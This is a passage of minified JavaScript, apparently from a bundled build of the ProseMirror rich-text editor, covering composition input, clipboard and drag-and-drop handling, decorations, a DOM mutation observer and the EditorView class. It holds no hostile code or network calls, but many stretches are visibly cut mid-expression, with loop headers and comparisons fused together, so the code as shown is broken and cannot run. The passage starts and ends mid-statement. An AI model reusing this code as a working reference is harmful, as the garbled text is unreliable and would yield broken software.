lL(t){let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(!e||e.nodeType!=1||n>=e.childNodes.length)return!1;let r=e.childNodes[n];return r.nodeType==1&&r.contentEditable=="false"}Nr.compositionend=(t,e)=>{t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=e.timeStamp,t.input.compositionPendingChanges=t.domObserver.pendingRecords().length?t.input.compositionID:0,t.input.compositionNode=null,t.input.badSafariComposition?t.domObserver.forceFlush():t.input.compositionPendingChanges&&Promise.resolve().then(()=>t.domObserver.flush()),t.input.compositionID++,a2(t,20))};function a2(t,e){clearTimeout(t.input.composingTimeout),e>-1&&(t.input.composingTimeout=setTimeout(()=>jh(t),e))}function i2(t){for(t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=dL());t.input.compositionNodes.length>0;)t.input.compositionNodes.pop().markParentsDirty()}function cL(t){let e=t.domSelectionRange();if(!e.focusNode)return null;let n=tD(e.focusNode,e.focusOffset),r=nD(e.focusNode,e.focusOffset);if(n&&r&&n!=r){let a=r.pmViewDesc,i=t.domObserver.lastChangedTextNode;if(n==i||r==i)return i;if(!a||!a.isText(r.nodeValue))return r;if(t.input.compositionNode==r){let o=n.pmViewDesc;if(!(!o||!o.isText(n.nodeValue)))return r}}return n||r}function dL(){let t=document.createEvent("Event");return t.initEvent("event",!0,!0),t.timeStamp}function jh(t,e=!1){if(!(va&&t.domObserver.flushingSoon>=0)){if(t.domObserver.forceFlush(),i2(t),e||t.docView&&t.docView.dirty){let n=g0(t),r=t.state.selection;return n&&!n.eq(r)?t.dispatch(t.state.tr.setSelection(n)):(t.markCursor||e)&&!r.$from.node(r.$from.sharedDepth(r.to)).inlineContent?t.dispatch(t.state.tr.deleteSelection()):t.updateState(t.state),!0}return!1}}function uL(t,e){if(!t.dom.parentNode)return;let n=t.dom.parentNode.appendChild(document.createElement("div"));n.appendChild(e),n.style.cssText="position: fixed; left: -10000px; top: 10px";let r=getSelection(),a=document.createRange();a.selectNodeContents(e),t.dom.blur(),r.removeAllRanges(),r.addRange(a),setTimeout(()=>{n.parentNode&&n.parentNode.removeChild(n),t.focus()},50)}const ad=Ar&&mi<15||El&&iD<604;vr.copy=Nr.cut=(t,e)=>{let n=e,r=t.state.selection,a=n.type=="cut";if(r.empty)return;let i=ad?null:n.clipboardData,o=r.content(),{dom:c,text:u}=y0(t,o);i?(n.preventDefault(),i.clearData(),i.setData("text/html",c.innerHTML),i.setData("text/plain",u)):uL(t,c),a&&t.dispatch(t.state.tr.deleteSelection().scrollIntoView().setMeta("uiEvent","cut"))};function hL(t){return t.openStart==0&&t.openEnd==0&&t.content.childCount==1?t.content.firstChild:null}function fL(t,e){if(!t.dom.parentNode)return;let n=t.input.shiftKey||t.state.selection.$from.parent.type.spec.code,r=t.dom.parentNode.appendChild(document.createElement(n?"textarea":"div"));n||(r.contentEditable="true"),r.style.cssText="position: fixed; left: -10000px; top: 10px",r.focus();let a=t.input.shiftKey&&t.input.lastKeyCode!=45;setTimeout(()=>{t.focus(),r.parentNode&&r.parentNode.removeChild(r),n?id(t,r.value,null,a,e):id(t,r.textContent,r.innerHTML,a,e)},50)}function id(t,e,n,r,a){let i=QS(t,e,n,r,t.state.selection.$from);if(t.someProp("handlePaste",u=>u(t,a,i||Ie.empty)))return!0;if(!i)return!1;let o=hL(i),c=o?t.state.tr.replaceSelectionWith(o,r):t.state.tr.replaceSelection(i);return t.dispatch(c.scrollIntoView().setMeta("paste",!0).setMeta("uiEvent","paste")),!0}function o2(t){let e=t.getData("text/plain")||t.getData("Text");if(e)return e;let n=t.getData("text/uri-list");return n?n.replace(/\r?\n/g," "):""}Nr.paste=(t,e)=>{let n=e;if(t.composing&&!va)return;let r=ad?null:n.clipboardData,a=t.input.shiftKey&&t.input.lastKeyCode!=45;r&&id(t,o2(r),r.getData("text/html"),a,n)?n.preventDefault():fL(t,n)};class l2{constructor(e,n,r){this.slice=e,this.move=n,this.node=r}}const pL=ss?"altKey":"ctrlKey";function c2(t,e){let n=t.someProp("dragCopies",r=>!r(e));return n??!e[pL]}vr.dragstart=(t,e)=>{let n=e,r=t.input.mouseDown;if(r&&r.done(),!n.dataTransfer)return;let a=t.state.selection,i=a.empty?null:t.posAtCoords(Mf(n)),o;if(!(i&&i.pos>=a.from&&i.pos<=(a instanceof Xe?a.to-1:a.to))){if(r&&r.mightDrag)o=Xe.create(t.state.doc,r.mightDrag.pos);else if(n.target&&n.target.nodeType==1){let m=t.docView.nearestDesc(n.target,!0);m&&m.node.type.spec.draggable&&m!=t.docView&&(o=Xe.create(t.state.doc,m.posBefore))}}let c=(o||t.state.selection).content(),{dom:u,text:h,slice:f}=y0(t,c);(!n.dataTransfer.files.length||!Xn||OS>120)&&n.dataTransfer.clearData(),n.dataTransfer.setData(ad?"Text":"text/html",u.innerHTML),n.dataTransfer.effectAllowed="copyMove",ad||n.dataTransfer.setData("text/plain",h),t.dragging=new l2(f,c2(t,n),o)};vr.dragend=t=>{let e=t.dragging;window.setTimeout(()=>{t.dragging==e&&(t.dragging=null)},50)};Nr.dragover=Nr.dragenter=(t,e)=>e.preventDefault();Nr.drop=(t,e)=>{try{mL(t,e,t.dragging)}finally{t.dragging=null}};function mL(t,e,n){if(!e.dataTransfer)return;let r=t.posAtCoords(Mf(e));if(!r)return;let a=t.state.doc.resolve(r.pos),i=n&&n.slice;i?t.someProp("transformPasted",y=>{i=y(i,t,!1)}):i=QS(t,o2(e.dataTransfer),ad?null:e.dataTransfer.getData("text/html"),!1,a);let o=!!(n&&c2(t,e));if(t.someProp("handleDrop",y=>y(t,e,i||Ie.empty,o))){e.preventDefault();return}if(!i)return;e.preventDefault();let c=i?fS(t.state.doc,a.pos,i):a.pos;c==null&&(c=a.pos);let u=t.state.tr;if(o){let{node:y}=n;y?y.replace(u):u.deleteSelection()}let h=u.mapping.map(c),f=i.openStart==0&&i.openEnd==0&&i.content.childCount==1,m=u.doc;if(f?u.replaceRangeWith(h,h,i.content.firstChild):u.replaceRange(h,h,i),u.doc.eq(m))return;let g=u.doc.resolve(h);if(f&&Xe.isSelectable(i.content.firstChild)&&g.nodeAfter&&g.nodeAfter.sameMarkup(i.content.firstChild))u.setSelection(new Xe(g));else{let y=u.mapping.map(c);u.mapping.maps[u.mapping.maps.length-1].forEach((N,w,v,k)=>y=k),u.setSelection(x0(t,g,u.doc.resolve(y)))}t.focus(),t.dispatch(u.setMeta("uiEvent","drop"))}vr.focus=t=>{t.input.lastFocus=Date.now(),t.focused||(t.domObserver.stop(),t.dom.classList.add("ProseMirror-focused"),t.domObserver.start(),t.focused=!0,setTimeout(()=>{t.docView&&t.hasFocus()&&!t.domObserver.currentSelection.eq(t.domSelectionRange())&&ka(t)},20))};vr.blur=(t,e)=>{let n=e;t.focused&&(t.domObserver.stop(),t.dom.classList.remove("ProseMirror-focused"),t.domObserver.start(),n.relatedTarget&&t.dom.contains(n.relatedTarget)&&t.domObserver.currentSelection.clear(),t.focused=!1)};vr.beforeinput=(t,e)=>{if(Xn&&va&&e.inputType=="deleteContentBackward"){t.domObserver.flushSoon();let{domChangeCount:r}=t.input;setTimeout(()=>{if(t.input.domChangeCount!=r||(t.dom.blur(),t.focus(),t.someProp("handleKeyDown",i=>i(t,to(8,"Backspace")))))return;let{$cursor:a}=t.state.selection;a&&a.pos>0&&t.dispatch(t.state.tr.delete(a.pos-1,a.pos).scrollIntoView())},50)}};for(let t in Nr)vr[t]=Nr[t];function od(t,e){if(t==e)return!0;for(let n in t)if(t[n]!==e[n])return!1;for(let n in e)if(!(n in t))return!1;return!0}class kh{constructor(e,n){this.toDOM=e,this.spec=n||fo,this.side=this.spec.side||0}map(e,n,r,a){let{pos:i,deleted:o}=e.mapResult(n.from+a,this.side<0?-1:1);return o?null:new An(i-r,i-r,this)}valid(){return!0}eq(e){return this==e||e instanceof kh&&(this.spec.key&&this.spec.key==e.spec.key||this.toDOM==e.toDOM&&od(this.spec,e.spec))}destroy(e){this.spec.destroy&&this.spec.destroy(e)}}class xi{constructor(e,n){this.attrs=e,this.spec=n||fo}map(e,n,r,a){let i=e.map(n.from+a,this.spec.inclusiveStart?-1:1)-r,o=e.map(n.to+a,this.spec.inclusiveEnd?1:-1)-r;return i>=o?null:new An(i,o,this)}valid(e,n){return n.from=e&&(!i||i(c.spec))&&r.push(c.copy(c.from+a,c.to+a))}for(let o=0;oe){let c=this.children[o]+1;this.children[o+2].findInner(e-c,n-c,r,a+c,i)}}map(e,n,r){return this==ar||e.maps.length==0?this:this.mapInner(e,n,0,0,r||fo)}mapInner(e,n,r,a,i){let o;for(let c=0;c{let h=u+r,f;if(f=u2(n,c,h)){for(a||(a=this.children.slice());ic&&m.to=e){this.children[c]==e&&(r=this.children[c+2]);break}let i=e+1,o=i+n.content.size;for(let c=0;ci&&u.type instanceof xi){let h=Math.max(i,u.from)-i,f=Math.min(o,u.to)-i;ha.map(e,n,fo));return si.from(r)}forChild(e,n){if(n.isLeaf)return $t.empty;let r=[];for(let a=0;an instanceof $t)?e:e.reduce((n,r)=>n.concat(r instanceof $t?r:r.members),[]))}}forEachSet(e){for(let n=0;n{let v=w-N-(y-g);for(let k=0;kC+f-m)continue;let E=c[k]+f-m;y>=E?c[k+1]=g<=E?-2:-1:g>=f&&v&&(c[k]+=v,c[k+1]+=v)}m+=v}),f=n.maps[h].map(f,-1)}let u=!1;for(let h=0;h=r.content.size){u=!0;continue}let g=n.map(t[h+1]+i,-1),y=g-a,{index:N,offset:w}=r.content.findIndex(m),v=r.maybeChild(N);if(v&&w==m&&w+v.nodeSize==y){let k=c[h+2].mapInner(n,v,f+1,t[h]+i+1,o);k!=ar?(c[h]=m,c[h+1]=y,c[h+2]=k):(c[h+1]=-2,u=!0)}else u=!0}if(u){let h=xL(c,t,e,n,a,i,o),f=Sh(h,r,0,o);e=f.local;for(let m=0;mn&&o.to{let h=u2(t,c,u+n);if(h){i=!0;let f=Sh(h,c,n+u+1,r);f!=ar&&a.push(u,u+c.nodeSize,f)}});let o=d2(i?h2(t):t,-n).sort(po);for(let c=0;c0;)e++;t.splice(e,0,n)}function eg(t){let e=[];return t.someProp("decorations",n=>{let r=n(t.state);r&&r!=ar&&e.push(r)}),t.cursorWrapper&&e.push($t.create(t.state.doc,[t.cursorWrapper.deco])),si.from(e)}const yL={childList:!0,characterData:!0,characterDataOldValue:!0,attributes:!0,attributeOldValue:!0,subtree:!0},bL=Ar&&mi<=11;class vL{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}set(e){this.anchorNode=e.anchorNode,this.anchorOffset=e.anchorOffset,this.focusNode=e.focusNode,this.focusOffset=e.focusOffset}clear(){this.anchorNode=this.focusNode=null}eq(e){return e.anchorNode==this.anchorNode&&e.anchorOffset==this.anchorOffset&&e.focusNode==this.focusNode&&e.focusOffset==this.focusOffset}}class NL{constructor(e,n){this.view=e,this.handleDOMChange=n,this.queue=[],this.flushingSoon=-1,this.observer=null,this.currentSelection=new vL,this.onCharData=null,this.suppressingSelectionUpdates=!1,this.lastChangedTextNode=null,this.observer=window.MutationObserver&&new window.MutationObserver(r=>{for(let a=0;aa.type=="childList"&&a.removedNodes.length||a.type=="characterData"&&a.oldValue.length>a.target.nodeValue.length)?this.flushSoon():ur&&e.composing&&r.some(a=>a.type=="childList"&&a.target.nodeName=="TR")?(e.input.badSafariComposition=!0,this.flushSoon()):this.flush()}),bL&&(this.onCharData=r=>{this.queue.push({target:r.target,type:"characterData",oldValue:r.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this)}flushSoon(){this.flushingSoon<0&&(this.flushingSoon=window.setTimeout(()=>{this.flushingSoon=-1,this.flush()},20))}forceFlush(){this.flushingSoon>-1&&(window.clearTimeout(this.flushingSoon),this.flushingSoon=-1,this.flush())}start(){this.observer&&(this.observer.takeRecords(),this.observer.observe(this.view.dom,yL)),this.onCharData&&this.view.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.connectSelection()}stop(){if(this.observer){let e=this.observer.takeRecords();if(e.length){for(let n=0;nthis.flush(),20)}this.observer.disconnect()}this.onCharData&&this.view.dom.removeEventListener("DOMCharacterDataModified",this.onCharData),this.disconnectSelection()}connectSelection(){this.view.dom.ownerDocument.addEventListener("selectionchange",this.onSelectionChange)}disconnectSelection(){this.view.dom.ownerDocument.removeEventListener("selectionchange",this.onSelectionChange)}suppressSelectionUpdates(){this.suppressingSelectionUpdates=!0,setTimeout(()=>this.suppressingSelectionUpdates=!1,50)}onSelectionChange(){if(K1(this.view)){if(this.suppressingSelectionUpdates)return ka(this.view);if(Ar&&mi<=11&&!this.view.state.selection.empty){let e=this.view.domSelectionRange();if(e.focusNode&&No(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset))return this.flushSoon()}this.flush()}}setCurSelection(){this.currentSelection.set(this.view.domSelectionRange())}ignoreSelectionChange(e){if(!e.focusNode)return!0;let n=new Set,r;for(let i=e.focusNode;i;i=Cl(i))n.add(i);for(let i=e.anchorNode;i;i=Cl(i))if(n.has(i)){r=i;break}let a=r&&this.view.docView.nearestDesc(r);if(a&&a.ignoreMutation({type:"selection",target:r.nodeType==3?r.parentNode:r}))return this.setCurSelection(),!0}pendingRecords(){if(this.observer)for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}flush(){let{view:e}=this;if(!e.docView||this.flushingSoon>-1)return;let n=this.pendingRecords();n.length&&(this.queue=[]);let r=e.domSelectionRange(),a=!this.suppressingSelectionUpdates&&!this.currentSelection.eq(r)&&K1(e)&&!this.ignoreSelectionChange(r),i=-1,o=-1,c=!1,u=[];if(e.editable)for(let f=0;ff.nodeName=="BR")&&(e.input.lastKeyCode==8||e.input.lastKeyCode==46)){for(let f of u)if(f.nodeName=="BR"&&f.parentNode){let m=f.nextSibling;m&&m.nodeType==1&&m.contentEditable=="false"&&f.parentNode.removeChild(f)}}else if(ls&&u.length){let f=u.filter(m=>m.nodeName=="BR");if(f.length==2){let[m,g]=f;m.parentNode&&m.parentNode.parentNode==g.parentNode?g.remove():m.remove()}else{let{focusNode:m}=this.currentSelection;for(let g of f){let y=g.parentNode;y&&y.nodeName=="LI"&&(!m||kL(e,m)!=y)&&g.remove()}}}let h=null;i<0&&a&&e.input.lastFocus>Date.now()-200&&Math.max(e.input.lastTouch,e.input.lastClick.time)-1||a)&&(i>-1&&(e.docView.markDirty(i,o),wL(e)),e.input.badSafariComposition&&(e.input.badSafariComposition=!1,SL(e,u)),this.handleDOMChange(i,o,c,u),e.docView&&e.docView.dirty?e.updateState(e.state):this.currentSelection.eq(r)||ka(e),this.currentSelection.set(r))}registerMutation(e,n){if(n.indexOf(e.target)>-1)return null;let r=this.view.docView.nearestDesc(e.target);if(e.type=="attributes"&&(r==this.view.docView||e.attributeName=="contenteditable"||e.attributeName=="style"&&!e.oldValue&&!e.target.getAttribute("style"))||!r||r.ignoreMutation(e))return null;if(e.type=="childList"){for(let f=0;fa;v--){let k=r.childNodes[v-1],C=k.pmViewDesc;if(k.nodeName=="BR"&&!C){i=v;break}if(!C||C.size)break}let m=t.state.doc,g=t.someProp("domParser")||pi.fromSchema(t.state.schema),y=m.resolve(o),N=null,w=g.parse(r,{topNode:y.parent,topMatch:y.parent.contentMatchAt(y.index()),topOpen:!0,from:a,to:i,preserveWhitespace:y.parent.type.whitespace=="pre"?"full":!0,findPositions:h,ruleFromNode:EL,context:y});if(h&&h[0].pos!=null){let v=h[0].pos,k=h[1]&&h[1].pos;k==null&&(k=v),N={anchor:v+o,head:k+o}}return{doc:w,sel:N,from:o,to:c}}function EL(t){let e=t.pmViewDesc;if(e)return e.parseRule();if(t.nodeName=="BR"&&t.parentNode){if(ur&&/^(ul|ol)$/i.test(t.parentNode.nodeName)){let n=document.createElement("div");return n.appendChild(document.createElement("li")),{skip:n}}else if(t.parentNode.lastChild==t||ur&&/^(tr|table)$/i.test(t.parentNode.nodeName))return{ignore:!0}}else if(t.nodeName=="IMG"&&t.getAttribute("mark-placeholder"))return{ignore:!0};return null}const TL=/^(a|abbr|acronym|b|bd[io]|big|br|button|cite|code|data(list)?|del|dfn|em|i|img|ins|kbd|label|map|mark|meter|output|q|ruby|s|samp|small|span|strong|su[bp]|time|u|tt|var)$/i;function ML(t,e,n,r,a){let i=t.input.compositionPendingChanges||(t.composing?t.input.compositionID:0);if(t.input.compositionPendingChanges=0,e<0){let L=t.input.lastSelectionTime>Date.now()-50?t.input.lastSelectionOrigin:null,R=g0(t,L);if(R&&!t.state.selection.eq(R)){if(Xn&&va&&t.input.lastKeyCode===13&&Date.now()-100z(t,to(13,"Enter"))))return;let D=t.state.tr.setSelection(R);L=="pointer"?D.setMeta("pointer",!0):L=="key"&&D.scrollIntoView(),i&&D.setMeta("composition",i),t.dispatch(D)}return}let o=t.state.doc.resolve(e),c=o.sharedDepth(n);e=o.before(c+1),n=t.state.doc.resolve(n).after(c+1);let u=t.state.selection,h=CL(t,e,n),f=t.state.doc,m=f.slice(h.from,h.to),g,y;t.input.lastKeyCode===8&&Date.now()-100Date.now()-225||va)&&a.some(L=>L.nodeType==1&&!TL.test(L.nodeName))&&(!N||N.endA>=N.endB)&&t.someProp("handleKeyDown",L=>L(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(!N)if(r&&u instanceof Ze&&!u.empty&&u.$head.sameParent(u.$anchor)&&!t.composing&&!(h.sel&&h.sel.anchor!=h.sel.head))N={start:u.from,endA:u.to,endB:u.to};else{if(h.sel){let L=sN(t,t.state.doc,h.sel);if(L&&!L.eq(t.state.selection)){let R=t.state.tr.setSelection(L);i&&R.setMeta("composition",i),t.dispatch(R)}}return}t.state.selection.fromt.state.selection.from&&N.start<=t.state.selection.from+2&&t.state.selection.from>=h.from?N.start=t.state.selection.from:N.endA=t.state.selection.to-2&&t.state.selection.to<=h.to&&(N.endB+=t.state.selection.to-N.endA,N.endA=t.state.selection.to)),Ar&&mi<=11&&N.endB==N.start+1&&N.endA==N.start&&N.start>h.from&&h.doc.textBetween(N.start-h.from-1,N.start-h.from+1)=="  "&&(N.start--,N.endA--,N.endB--);let w=h.doc.resolveNoCache(N.start-h.from),v=h.doc.resolveNoCache(N.endB-h.from),k=f.resolve(N.start),C=w.sameParent(v)&&w.parent.inlineContent&&k.end()>=N.endA;if((El&&t.input.lastIOSEnter>Date.now()-225&&(!C||a.some(L=>L.nodeName=="DIV"||L.nodeName=="P"))||!C&&w.posL(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(t.state.selection.anchor>N.start&&IL(f,N.start,N.endA,w,v)&&t.someProp("handleKeyDown",L=>L(t,to(8,"Backspace")))){va&&Xn&&t.domObserver.suppressSelectionUpdates();return}Xn&&N.endB==N.start&&(t.input.lastChromeDelete=Date.now()),va&&!C&&w.start()!=v.start()&&v.parentOffset==0&&w.depth==v.depth&&h.sel&&h.sel.anchor==h.sel.head&&h.sel.head==N.endA&&(N.endB-=2,v=h.doc.resolveNoCache(N.endB-h.from),setTimeout(()=>{t.someProp("handleKeyDown",function(L){return L(t,to(13,"Enter"))})},20));let E=N.start,T=N.endA,I=L=>{let R=L||t.state.tr.replace(E,T,h.doc.slice(N.start-h.from,N.endB-h.from));if(h.sel){let D=sN(t,R.doc,h.sel);D&&!(Xn&&t.composing&&D.empty&&(N.start!=N.endB||t.input.lastChromeDeleteka(t),20));let L=I(t.state.tr.delete(E,T)),R=f.resolve(N.start).marksAcross(f.resolve(N.endA));R&&L.ensureMarks(R),t.dispatch(L)}else if(N.endA==N.endB&&(O=AL(w.parent.content.cut(w.parentOffset,v.parentOffset),k.parent.content.cut(k.parentOffset,N.endA-k.start())))){let L=I(t.state.tr);O.type=="add"?L.addMark(E,T,O.mark):L.removeMark(E,T,O.mark),t.dispatch(L)}else if(w.parent.child(w.index()).isText&&w.index()==v.index()-(v.textOffset?0:1)){let L=w.parent.textBetween(w.parentOffset,v.parentOffset),R=()=>I(t.state.tr.insertText(L,E,T));t.someProp("handleTextInput",D=>D(t,E,T,L,R))||t.dispatch(R())}else t.dispatch(I());else t.dispatch(I())}function sN(t,e,n){return Math.max(n.anchor,n.head)>e.content.size?null:x0(t,e.resolve(n.anchor),e.resolve(n.head))}function AL(t,e){let n=t.firstChild.marks,r=e.firstChild.marks,a=n,i=r,o,c,u;for(let f=0;ff.mark(c.addToSet(f.marks));else if(a.length==0&&i.length==1)c=i[0],o="remove",u=f=>f.mark(c.removeFromSet(f.marks));else return null;let h=[];for(let f=0;fn||tg(o,!0,!1)0&&(e||t.indexAfter(r)==t.node(r).childCount);)r--,a++,e=!1;if(n){let i=t.node(r).maybeChild(t.indexAfter(r));for(;i&&!i.isLeaf;)i=i.firstChild,a++}return a}function RL(t,e,n,r,a){let i=t.findDiffStart(e,n);if(i==null)return null;let{a:o,b:c}=t.findDiffEnd(e,n+t.size,n+e.size);if(a=="end"){let u=Math.max(0,i-Math.min(o,c));r-=o+u-i}if(o=o?i-r:0;i-=u,i&&i=c?i-r:0;i-=u,i&&i=56320&&e<=57343&&n>=55296&&n<=56319}class f2{constructor(e,n){this._root=null,this.focused=!1,this.trackWrites=null,this.mounted=!1,this.markCursor=null,this.cursorWrapper=null,this.lastSelectedViewDesc=void 0,this.input=new GD,this.prevDirectPlugins=[],this.pluginViews=[],this.requiresGeckoHackNode=!1,this.dragging=null,this._props=n,this.state=n.state,this.directPlugins=n.plugins||[],this.directPlugins.forEach(dN),this.dispatch=this.dispatch.bind(this),this.dom=e&&e.mount||document.createElement("div"),e&&(e.appendChild?e.appendChild(this.dom):typeof e=="function"?e(this.dom):e.mount&&(this.mounted=!0)),this.editable=lN(this),oN(this),this.nodeViews=cN(this),this.docView=F1(this.state.doc,iN(this),eg(this),this.dom,this),this.domObserver=new NL(this,(r,a,i,o)=>ML(this,r,a,i,o)),this.domObserver.start(),JD(this),this.updatePluginViews()}get composing(){return this.input.composing}get props(){if(this._props.state!=this.state){let e=this._props;this._props={};for(let n in e)this._props[n]=e[n];this._props.state=this.state}return this._props}update(e){e.handleDOMEvents!=this._props.handleDOMEvents&&ax(this);let n=this._props;this._props=e,e.plugins&&(e.plugins.forEach(dN),this.directPlugins=e.plugins),this.updateStateInner(e.state,n)}setProps(e){let n={};for(let r in this._props)n[r]=this._props[r];n.state=this.state;for(let r in e)n[r]=e[r];this.update(n)}updateState(e){this.updateStateInner(e,this._props)}updateStateInner(e,n){var r;let a=this.state,i=!1,o=!1;e.storedMarks&&this.composing&&(i2(this),o=!0),this.state=e;let c=a.plugins!=e.plugins||this._props.plugins!=n.plugins;if(c||this._props.plugins!=n.plugins||this._props.nodeViews!=n.nodeViews){let y=cN(this);OL(y,this.nodeViews)&&(this.nodeViews=y,i=!0)}(c||n.handleDOMEvents!=this._props.handleDOMEvents)&&ax(this),this.editable=lN(this),oN(this);let u=eg(this),h=iN(this),f=a.plugins!=e.plugins&&!a.doc.eq(e.doc)?"reset":e.scrollToSelection>a.scrollToSelection?"to selection":"preserve",m=i||!this.docView.matchesNode(e.doc,h,u);(m||!e.selection.eq(a.selection))&&(o=!0);let g=f=="preserve"&&o&&this.dom.style.overflowAnchor==null&&cD(this);if(o){this.domObserver.stop();let y=m&&(Ar||Xn)&&!this.composing&&!a.selection.empty&&!e.selection.empty&&PL(a.selection,e.selection);if(m){let N=Xn?this.trackWrites=this.domSelectionRange().focusNode:null;this.composing&&(this.input.compositionNode=cL(this)),(i||!this.docView.update(e.doc,h,u,this))&&(this.docView.updateOuterDeco(h),this.docView.destroy(),this.docView=F1(e.doc,h,u,this.dom,this)),N&&(!this.trackWrites||!this.dom.contains(this.trackWrites))&&(y=!0)}y||!(this.input.mouseDown&&this.domObserver.currentSelection.eq(this.domSelectionRange())&&PD(this))?ka(this,y):(GS(this,e.selection),this.domObserver.setCurSelection()),this.domObserver.start()}this.updatePluginViews(a),!((r=this.dragging)===null||r===void 0)&&r.node&&!a.doc.eq(e.doc)&&this.updateDraggedNode(this.dragging,a),f=="reset"?this.dom.scrollTop=0:f=="to selection"?this.scrollToSelection():g&&dD(g)}scrollToSelection(){let e=this.domSelectionRange().focusNode;if(!(!e||!this.dom.contains(e.nodeType==1?e:e.parentNode))){if(!this.someProp("handleScrollToSelection",n=>n(this)))if(this.state.selection instanceof Xe){let n=this.docView.domAfterPos(this.state.selection.from);n.nodeType==1&&O1(this,n.getBoundingClientRect(),e)}else O1(this,this.coordsAtPos(this.state.selection.head,1),e)}}destroyPluginViews(){let e;for(;e=this.pluginViews.pop();)e.destroy&&e.destroy()}updatePluginViews(e){if(!e||e.plugins!=this.state.plugins||this.directPlugins!=this.prevDirectPlugins){this.prevDirectPlugins=this.directPlugins,this.destroyPluginViews();for(let n=0;n0&&this.state.doc.nodeAt(i))==r.node&&(a=i)}this.dragging=new l2(e.slice,e.move,a<0?void 0:Xe.create(this.state.doc,a))}someProp(e,n){let r=this._props&&this._props[e],a;if(r!=null&&(a=n?n(r):r))return a;for(let o=0;on.ownerDocument.getSelection()),this._root=n}return e||document}updateRoot(){this._root=null}posAtCoords(e){return gD(this,e)}coordsAtPos(e,n=1){return FS(this,e,n)}domAtPos(e,n=0){return this.docView.domFromPos(e,n)}nodeDOM(e){let n=this.docView.descAt(e);return n?n.nodeDOM:null}posAtDOM(e,n,r=-1){let a=this.docView.posFromDOM(e,n,r);if(a==null)throw new RangeError("DOM position not inside the editor");return a}endOfTextblock(e,n){return ND(this,n||this.state,e)}pasteHTML(e,n){return id(this,"",e,!1,n||new ClipboardEvent("paste"))}pasteText(e,n){return id(this,e,null,!0,n||new ClipboardEvent("paste"))}serializeForClipboard(e){return y0(this,e)}destroy(){this.docView&&(YD(this),this.destroyPluginViews(),this.mounted?(this.docView.update(this.state.doc,[],eg(this),this),this.dom.textContent=""):this.dom.parentNode&&this.dom.parentNode.removeChild(this.dom),this.docView.destroy(),this.docView=null,ZO())}get isDestroyed(){return this.docView==null}dispatchEvent(e){return XD(this,e)}domSelectionRange(){let e=this.domSelection();return e?ur&&this.root.nodeType===11&&sD(this.dom.ownerDocument)==this.dom&&jL(this,e)||e:{focusNode:null,focusOffset:0,anchorNode:null,anchorOffset:0}}domSelection(){return this.root.getSelection()}}f2.prototype.dispatch=function(t){let e=this._props.dispatchTransaction;e?e.call(this,t):this.updateState(this.state.apply(t))};function iN(t){let e=Object.create(null);return e.class="ProseMirror",e.contenteditable=String(t.editable),t.someProp("attributes",n=>{if(typeof n=="function"&&(n=n(t.state)),n)for(let r in n)r=="class"?e.class+=" "+n[r]:r=="style"?e.style=(e.style?e.style+";":"")+n[r]:!e[r]&&r!="contenteditable"&&r!="nodeName"&&(e[r]=String(n[r]))}),e.translate||(e.translate="no"),[An.node(0,t.state.doc.content.size,e)]}function oN(t){if(t.markCursor){let e=document.createElement("img");e.className="ProseMirror-separator",e.setAttribute("mark-placeholder","true"),e.setAttribute("alt",""),t.cursorWrapper={dom:e,deco:An.widget(t.state.selection.from,e,{raw:!0,marks:t.markCursor})}}else t.cursorWrapper=null}function lN(t){return!t.someProp("editable",e=>e(t.state)===!1)}function PL(t,e){let n=Math.min(t.$anchor.sharedDepth(t.head),e.$anchor.sharedDepth(e.head));return t.$anchor.start(n)!=e.$anchor.start(n)}function cN(t){let e=Object.create(null);function n(r){for(let a in r)Object.prototype.hasOwnProperty.call(e,a)||(e[a]=r[a])}return t.someProp("nodeViews",n),t.someProp("markViews",n),e}function OL(t,e){let n=0,r=0;for(let a in t){if(t[a]!=e[a])return!0;n++}for(let a in e)r++;return n!=r}function dN(t){if(t.spec.state||t.spec.filterTransaction||t.spec.appendTransaction)throw new RangeError("Plugins passed directly to the view must not have a state component")}var vi={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},Ch={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},DL=typeof navigator<"u"&&/Mac/.test(navigator.platform),LL=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var Qn=0;Qn<10;Qn++)vi[48+Qn]=vi[96+Qn]=String(Qn);for(var Qn=1;Qn<=24;Qn++)vi[Qn+111]="F"+Qn;for(var Qn=65;Qn<=90;Qn++)vi[Qn]=String.fromCharCode(Qn+32),Ch[Qn]=String.fromCharCode(Qn);for(var ng in vi)Ch.hasOwnProperty(ng)||(Ch[ng]=vi[ng]);function _L(t){var e=DL&&t.metaKey&&t.shiftKey&&!t.ctrlKey&&!t.altKey||LL&&t.shiftKey&&t.key&&t.key.length==1||t.key=="Unidentified",n=!e&&t.key||(t.shiftKey?Ch:vi)[t.keyCode]||t.key||"Unidentified";return n=="Esc"&&(n="Escape"),n=="Del"&&(n="Delete"),n=="Left"&&(n="ArrowLeft"),n=="Up"&&(n="ArrowUp"),n=="Right"&&(n="ArrowRight"),n=="Down"&&(n="ArrowDown"),n}const zL=typeof navigator<"u"&&/Mac|iP(hone|[oa]d)/.test(navigator.platform),$L=typeof 